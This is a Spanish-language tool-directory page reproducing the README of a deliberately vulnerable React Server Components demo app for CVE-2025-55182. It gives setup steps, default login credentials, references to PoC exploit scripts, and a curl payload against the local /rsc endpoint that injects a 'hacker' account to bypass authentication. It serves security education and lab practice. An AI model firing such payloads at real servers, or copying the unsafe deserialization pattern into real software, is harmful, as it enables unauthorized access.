Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
React2Shell-Kingdom — "Érase una vez, el Castillo de Reactland confiaba en todos los mensajes de Flight... hasta que llegó El Impostor." Una demostración narrativa de CVE-2025-55182 (React2Shell) - Aplicación medieval temática de React Server Components vulnerable para educación en seguridad. | Kitploit
Herramientas/GitHubGitHub/mycompanyorganization/react2shell-kingdom
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubmycompanyorganization/react2shell-kingdom

React2Shell-Kingdom

"Érase una vez, el Castillo de Reactland confiaba en todos los mensajes de Flight... hasta que llegó El Impostor." Una demostración narrativa de CVE-2025-55182 (React2Shell) - Aplicación medieval temática de React Server Components vulnerable para educación en seguridad.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 7 mesesAún no revisado

Proyecto de Demostración de Vulnerabilidad React CVE-2025-55182

⚠️ ADVERTENCIA DE SEGURIDAD

Este proyecto demuestra una vulnerabilidad crítica de RCE (CVE-2025-55182 / React2Shell) en React Server Components 19.1.1.

  • SOLO CON FINES EDUCATIVOS Y DE INVESTIGACIÓN EN SEGURIDAD
  • NUNCA desplegar en producción ni exponer a redes no confiables
  • Ejecutar solo en entornos aislados y controlados
  • Asegurar la autorización adecuada antes de realizar pruebas

Resumen

Este proyecto demuestra CVE-2025-55182 (React2Shell), una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en React Server Components 19.1.1. La aplicación incluye:

  • Un sitio web de una sola página con autenticación de usuario/contraseña
  • Implementación de React Server Components (RSC)
  • Endpoint del protocolo RSC Flight (vulnerable)
  • Configuración de despliegue con Docker
  • Payload de exploit POC que demuestra la vulnerabilidad

Estructura del Proyecto

root@kitploit:~
react-cve-demo/
├── package.json              # React 19.1.1 with react-server-dom-webpack
├── server.js                 # Custom React server with RSC support
├── src/
│   ├── App.jsx              # Main React component
│   ├── Login.jsx            # Login page component
│   ├── Dashboard.jsx        # Protected page component
│   └── server-components/   # Server Components
│       └── AuthServer.jsx   # Server-side auth logic
├── data/
│   └── users.json           # User credentials storage
├── Dockerfile               # Docker containerization
├── docker-compose.yml       # Docker Compose setup
├── .dockerignore
├── exploit/
│   ├── poc.js              # POC exploit script (Node.js)
│   └── poc.sh              # POC exploit script (bash/curl)
└── README.md               # This file

Requisitos Previos

  • Node.js 18+
  • Docker y Docker Compose (opcional, para despliegue contenerizado)
  • npm o yarn

Instalación

Desarrollo Local

  1. Clona o descarga este repositorio
  2. Instala las dependencias:
    root@kitploit:~
    npm install
    
  3. Inicia el servidor:
    root@kitploit:~
    npm start
    
  4. Accede a la aplicación en http://localhost:3000

Despliegue con Docker

  1. Construye y ejecuta con Docker Compose:

    root@kitploit:~
    docker-compose up --build
    

    O construye y ejecuta manualmente:

    root@kitploit:~
    docker build -t react-cve-demo .
    docker run -p 3000:3000 react-cve-demo
    
  2. Accede a la aplicación en http://localhost:3000

Flujo de Uso

Flujo de Autenticación Normal

  1. Accede a la aplicación: Navega a http://localhost:3000
  2. Página de inicio de sesión: Verás un formulario de inicio de sesión
  3. Credenciales predeterminadas:
    • Usuario: admin, Contraseña: securepassword123
    • Usuario: user1, Contraseña: password123
  4. Inicio de sesión exitoso: Serás redirigido al panel protegido
  5. Cerrar sesión: Haz clic en el botón de cerrar sesión para volver a la página de inicio de sesión

Demostración de la Vulnerabilidad

La vulnerabilidad existe en el mecanismo de deserialización del protocolo RSC Flight. El exploit:

  1. Construye un payload serializado malicioso dirigido a los endpoints de Server Function
  2. Explota la deserialización insegura para ejecutar JavaScript arbitrario
  3. Crea una nueva entrada de usuario en el archivo JSON
  4. Bypassa la autenticación usando las nuevas credenciales

Ejecutando el Exploit POC

Opción 1: Script de Node.js

root@kitploit:~
node exploit/poc.js

O con una URL de destino personalizada:

root@kitploit:~
TARGET_URL=http://localhost:3000 node exploit/poc.js

Opción 2: Script Bash

root@kitploit:~
./exploit/poc.sh

O con una URL de destino personalizada:

root@kitploit:~
TARGET_URL=http://localhost:3000 ./exploit/poc.sh

Opción 3: Comando curl Manual

Versión en una línea:

root@kitploit:~
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Versión multilínea (para legibilidad):

root@kitploit:~
curl -X POST http://localhost:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Nota: También hay un comando de una línea listo para copiar y pegar en exploit/curl-oneline.txt

Después de la Explotación

Después de ejecutar el exploit:

  1. El exploit crea un nuevo usuario en data/users.json
  2. Ahora puedes iniciar sesión con las credenciales recién creadas:
    • Usuario: hacker
    • Contraseña: hacked123
  3. Esto demuestra cómo la vulnerabilidad puede sortear la autenticación

Detalles Técnicos

Vulnerabilidad (CVE-2025-55182)

La vulnerabilidad existe en React Server Components 19.1.1, específicamente en:

  • Componente: react-server-dom-webpack
  • Versión: 19.1.1 (vulnerable)
  • Problema: Deserialización insegura en el protocolo RSC Flight
  • Impacto: Ejecución Remota de Código (RCE)
  • CVSS: Crítica

Implementación del Servidor

El servidor (server.js) implementa:

  • Servidor HTTP Express.js
  • Endpoint del protocolo RSC Flight (/rsc)
  • Ejecución de Server Function (endpoint vulnerable)
  • Gestión de sesiones
  • Servicio de archivos estáticos

Sistema de Autenticación

  • Componente de Inicio de Sesión: Formulario en el lado del cliente para usuario/contraseña
  • Componente de Servidor de Autenticación: Lógica de autenticación en el servidor
  • Almacenamiento de Usuarios: Archivo JSON (data/users.json) que almacena credenciales
  • Rutas Protegidas: El panel requiere autenticación

Protocolo RSC Flight

El endpoint del protocolo RSC Flight acepta:

  • action: "callServerFunction": Ejecutar funciones del servidor
  • action: "renderRSC": Renderizar React Server Components

La vulnerabilidad existe en cómo se deserializan y ejecutan las llamadas a Server Function.

Consideraciones de Seguridad

⚠️ Advertencias Críticas

  1. Entorno Aislado: Ejecutar solo en entornos controlados y aislados
  2. Sin Uso en Producción: Nunca desplegar código vulnerable en producción
  3. Aislamiento de Red: No exponer a redes no confiables
  4. Propósito Educativo: Solo para investigación y educación en seguridad
  5. Cumplimiento Legal: Asegurar la autorización adecuada antes de realizar pruebas

Mejores Prácticas

  • Usar una máquina virtual o contenedor dedicado para pruebas
  • Deshabilitar el acceso a la red excepto para localhost
  • No almacenar datos sensibles en el entorno de prueba
  • Limpiar los datos de prueba después de la demostración
  • Seguir prácticas de divulgación responsable

Dependencias

  • React: 19.1.1 (versión vulnerable)
  • react-server-dom-webpack: 19.1.1 (paquete vulnerable)
  • Express.js: ^4.18.2
  • express-session: ^1.17.3
  • Node.js: 18+

Solución de Problemas

El servidor no inicia

  • Verificar que el puerto 3000 no esté ya en uso
  • Verificar que la versión de Node.js sea 18 o superior
  • Asegurar que todas las dependencias estén instaladas (npm install)

El exploit no funciona

  • Verificar que el servidor esté en ejecución
  • Comprobar que el endpoint RSC sea accesible
  • Revisar los registros del servidor en busca de errores
  • Asegurar que el script del exploit tenga los permisos adecuados

Problemas con Docker

  • Asegurar que Docker esté en ejecución
  • Verificar la compatibilidad de la versión de Docker Compose
  • Verificar que el puerto 3000 esté disponible
  • Revisar los registros de Docker: docker-compose logs

Referencias

  • CVE-2025-55182: Vulnerabilidad React2Shell
  • Documentación de React Server Components
  • Especificación del protocolo RSC Flight

Licencia

Licencia MIT - Solo con fines educativos

Descargo de Responsabilidad

Este software se proporciona únicamente con fines educativos y de investigación en seguridad. Los autores y colaboradores no se responsabilizan por ningún uso indebido o daño causado por este software. Úselo bajo su propio riesgo y asegúrese de cumplir con todas las leyes y regulaciones aplicables.

Descargar herramienta